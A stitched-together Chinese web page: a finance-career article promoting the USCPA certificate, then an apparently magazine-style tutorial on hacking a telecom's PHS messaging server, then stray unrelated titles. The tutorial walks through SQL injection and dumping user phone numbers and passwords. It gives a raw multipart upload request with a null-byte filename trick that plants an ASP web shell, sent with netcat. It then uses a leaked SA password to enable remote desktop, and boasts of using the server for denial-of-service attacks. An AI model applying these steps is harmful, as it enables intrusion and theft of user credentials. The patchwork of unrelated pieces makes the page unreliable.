同样是由此次Glassdoor公布的数据显示，，苹果财务分析师的年薪达到了94,799美元。此外，今年上半年美国证卷交易委员会发布的文件透露出苹果首席财务官卢卡・马艾斯特利20的年薪高达1400万美元。

可以说，目前500强企业的财务职位已经成为炙手可热的高薪职位之一。

【500强企业财务人晋升渠道】

除了令人羡慕的收入，世界500强的企业的财务人职业晋升空间也非常广阔。

开始进入工作时，不管你是负责审计、税务、会计还是其他职位，都要注重对职位的整体熟练和掌握。除此之外，还要抓住一切机会进行轮岗，这样有利于你较快熟悉整个企业的财务流程。做了两三年以后，你对财务部门整个工作有了较为熟悉的把握，那么可晋升为财务主管，薪资收入也会随之翻倍。

当然，如果你够努力，并且具备较强的学习能力、沟通能力，有朝一日也会成为企业的财务经理，甚至坐上企业CFO的位置。

从上述情况来看，外企财务人不管是薪资水平还是职业发展空间都是非常具有吸引力。那么想要进入世界500强企业的财务人，首先要了解这些企业中财务人的职能分工以及财务人所应该具备的素质。

到底世界500强企业到底青睐哪类财务人?财务人又该如何努力，才能成功敲开世界500强企业的大门，现在就来告诉你。

【世界500强财务人素养】

术业有专攻：精准的财务技能

在外企工作的人一般都会有这种感觉：外企职位分工非常细致，一般是“一个萝卜一个坑”.每一个财务人仅负责自己工作岗位上的那一部分工作内容，可以说，每一个财务人员都是500强企业大机器上的一颗螺丝钉。因此，不管你是坐会计、审计、税负、预算还是其他财务岗位，首先你必须深入了解岗位需求，加强自身岗位专业技能，做到术业有专攻，这样你才能在工作中发挥自身特长，做到得心应手。

【复合型人才：精通美国会计准则】

为什么进入外企的财务人要精通美国的会计准则?让这组数据来告诉你原因。

首先，从财富发布的《世界500强排行榜》榜单中可以看出，在全世界的500强企业中，美国的企业数量达到128家(同年持平)，约占总数的26%,是上榜企业最多的国家。

此外，在《2015世界500强排行榜》榜单的前20名中，上榜美企达到7家，其中位列榜首的企业沃尔玛也是美企。显然美企在世界500强的地位可谓是不可撼动。那么财务人想要成功敲开美企的大门，就需要精通美国的会计准则。

并且当下越来越的500强外企正在开拓或者已然进入中国市场。他们需要大量的即了解中国税务等财税知识也懂得美国会计准则以及美国税务体系的复合型人才。

那么如何快速掌握美国会计准则，成为500强企业青睐的财务人?财务人可以通过考取USCPA加强对美国会计准则的了解和掌握。USCPA是目前全球含金量最高的证书之一，它遵循的是美国会计准则，并且课程体系中包含了很多对于美国税务体系的讲解，财务人通过备考USCPA必然能加深对美国会计准则的掌握。

想要进入500强企业，光了解中国的税务知识、财务语言是远远不够的。你必须精通国际化的会计准则：美国会计准则，必须熟悉外国的税务体系。

【共通的国际化财务语言】

共同的全球财务语言主要内涵包括两个方面：一方面，全球通用外语，如英语、俄语。另一方面，与国际接轨的财务专业术语。一般来说世界500强的外企都非常青睐拥有一些国际化证书的财务人，如USCPA,ACCA等。其中重要的原因之一就是拥有USCPA等国际化证书的人掌握着着其他传统财务人所不具备的共通的国际化财务语言。

首先，世界500强企业在面试时一般都会进行英文面试，即使是财务专业知识在扎实，如果外语口语不佳，在面试时表达不出自身特长也是无用的。USCPA是全英文的考试，在备考的过程中，英文水平自然会得到提升。外企财务人在日常工作中不仅要看外文合同，还要用外语进行沟通或书写邮件。因此也难怪世界500强企业青睐持有USCPA的财务人。

除了外文水平，财务人通过USCPA所掌握的的财务专业术语也是企业所看重的能力。一般来说，财务人不仅要与本公司的人员进行沟通，还要与国外本部、香港等其他地方的人员进行沟通。

很多传统财务人在于公司海外部门财务人沟通时经常出现相互不能理解的现象。那是因为两类财务人所掌握的财务专业术语所指是不尽相同的。自然会出现“驴头不对马嘴”的现象。而这种情况，对于USCPA持有者来说完全不是问题。

当然除此之外，世界500强企业也非常看重财务人的其他方面的能力，如团队协作能力、沟通能力等。其中沟通能力尤为重要，据了解，作为国际领先的投资银行之一的高盛，几乎每一位财务人员的工作位置胖都有一个小型的会议室。

通过考取USCPA等证书，财务人不仅能掌握美国会计准则，更能提高自身财务专业知识、外语等各方面的能力。由此看来，想要敲开500强企业的大门，财务人必然要拥有USCPA这块敲门砖，从而也走向了一条与国际接轨的财务人的道路。

篇23：“灵机E动”敲开网通服务器大门网站安全

适合读者：脚本入侵爱好者、网络管理员

前置知识：ASP代码阅读能力

脚本小子：号外号外！据最新消息，鸡年就要来到了（谁飞砖头？），脚本小子得赶紧祝大家新年快乐，万事如意，不然读者朋友们怪罪下来我可担当不起啊！新年了，总得意思一下吧，所以本期的各个精彩文章

适合读者：脚本入侵爱好者、网络管理员

前置知识：ASP代码阅读能力

脚本小子：号外号外！据最新消息，鸡年就要来到了（谁飞砖头？），脚本小子得赶紧祝大家新年快乐，万事如意，不然读者朋友们怪罪下来我可担当不起啊！新年了，总得意思一下吧，所以本期的各个精彩文章就是小编们送给大家最好的礼物了！希望大家在新的一年里才思如泉涌！技术节节高升！鸡年多肉鸡！

“灵机E动”敲开网通服务器大门

文/图 master_志

现在全国地小灵通都开通了网上短信地业务，而且都建设了自己地服务平台，名字比较特别――“灵机E动”。我们省也开通了这个服务，正好我用的也是小灵通，于是就去看看怎么发短信，这一看可不要紧，竟然抓到了这只网通地大肉鸡。

好了，长话短说，首先我们先找一个注入点吧！如图1所示。

图1

地址是phs.**.cn/mobile_site/friend_fairyland/cjyhzl.asp?jyuserid=1019，然后我们可以用 and 1=1和and 1=2去简单地测试一下有没有SQL注入漏洞，怎么测试我就不说了，如果你不知道的话，还是好好地看一下2004年的黑防吧！

经过我的测试数据库是MSSQL，这个用脑袋想也能想到：这个是全省的小灵通服务平台，用MSSQL是很正常的。说到MSSQL数据库你是不是想到了小竹？呵呵，想他干啥？应该是想他写的NBSI2才对。拿出我们的宝贝干活吧！如图2所示。

图2

可惜不是SA权限，不过也不错了，至少我们可以看看它的数据库里都有什么，这可是全省的数据哦！如图3所示。

图3

好多表！我们只要找Tab_user_mobile这个表就行了，这里面有用户注册的信息也就是电话和密码。如图4所示。

图4

我们随便找一个登陆一下，到它的交友中心去看看吧？记得那里可以上传照片，大家不用我说都知道该干什么了吧？网通也会出现这漏洞？事实如此，我们继续。如图5所示。

图5

添上我们的木马然后准备好抓包，抓到的包内容如下：

POST /mobile_site/friend_fairyland/jyly_tpsc_check.asp HTTP/1.1

Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/msword, */*

Referer: phs.**.cn/mobile_site/friend_fairyland/sctp.asp

Accept-Language: zh-cn

Content-Type: multipart/form-data; boundary=-----------------7d45d3b5e047e

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)

Host: phs.**.cn

Content-Length: 1724

Connection: Keep-Alive

Cache-Control: no-cache

Cookie: ASPSESSIONIDSSAQRBTT=GMEJHDHADNJEHBPKKKJEPDDP

---------------------7d45d3b5e047e

Content-Disposition: form-data; name=“user_pic_name”; filename=“C:\\Documents and Settings\\晓志\\桌面\\hack\\Newmm.asp”

木马内容……

--------------------7d45d3b5e047e

Content-Disposition: form-data; name=“user_pic_nameB”; filename=“”

Content-Type: application/octet-stream

---------------------7d45d3b5e047e

Content-Disposition: form-data; name=“Submit”

提交

---------------------------7d45d3b5e047e―

我们需要改的地方是这里：Content-Disposition：form-data；name=“user_pic_name”；filename=“C:\\Documents and Settings\\晓志\\桌面\\hack\\Newmm.asp”，改为：Content-Disposition: form-data; name=“user_pic_name”; filename=“C:\\Documents and Settings\\晓志\\桌面\\hack\\Newmm.asp .jpg”（注意asp和.jpg之间有一个空格），

还有需要改的地方是：Content-Length：1724，我们需要在这个数字原来的大小加上5，因为我们在原来的基础是加了5个字符，改为：Content-Length: 1729。

好了，拿出WinHex把刚才多出来的空格20改为00，然后拿出NC提交吧！命令格式为“NC.EXE 网站地址 80 〈改过地包.txt”，如图6所示。

图6

好了，我们的马已经传上去了，登陆上去看看我们的木马（如图7所示）：

phs.**.cn/mobile_site/friend_fairyland/photo/1045.asp

图7

我传上去的是我自己改过的网页木马，成功后开始搜索它的文件，无意见看到了CONN.ASP里面有一段写的是：

conn.Open“provider=sqloledb;server=218.*.***.229;database=mobileportal;uid=sa;pwd=yidongjisuan”

看到没？SA的密码就是“yidongjisuan”！好了，我们直接连接上去吧，然后直接给它开3389。传3389.bat上去，然后用我们的SA权限去执行！如图8所示。

图8

呵呵，登陆上去才知道这个平台是网通专门为**省小灵通服务单独开的一台服务器，配置是4路至强2.8，1G的ECC效验内存，硬盘是双72G的SISC硬盘，初步判断这是一台IBM的服务器。这个可是我的肉鸡啊！哈哈，大家以后别惹我哦，小心我用它D你哦，嘿嘿！

这个教程很简单，并没有什么技术含量，但是希望大家可以从文章里学到入侵的思路及发现漏洞的意识，更关键的是想让大家多注意一下国内网络安全的现状，多通过自己的努力去改变它、提高它――大家不必再拿这个站做测试了，我已经通知网通的人修补了漏洞！最后祝大家新年快乐，肉鸡多多！

《敲开世界冠军的大门》教学设计之二

记忆的大门初中作文

大门保安员岗位职责

公司大门春联

建筑工地大门标语

敲开情感的大门的作文.doc

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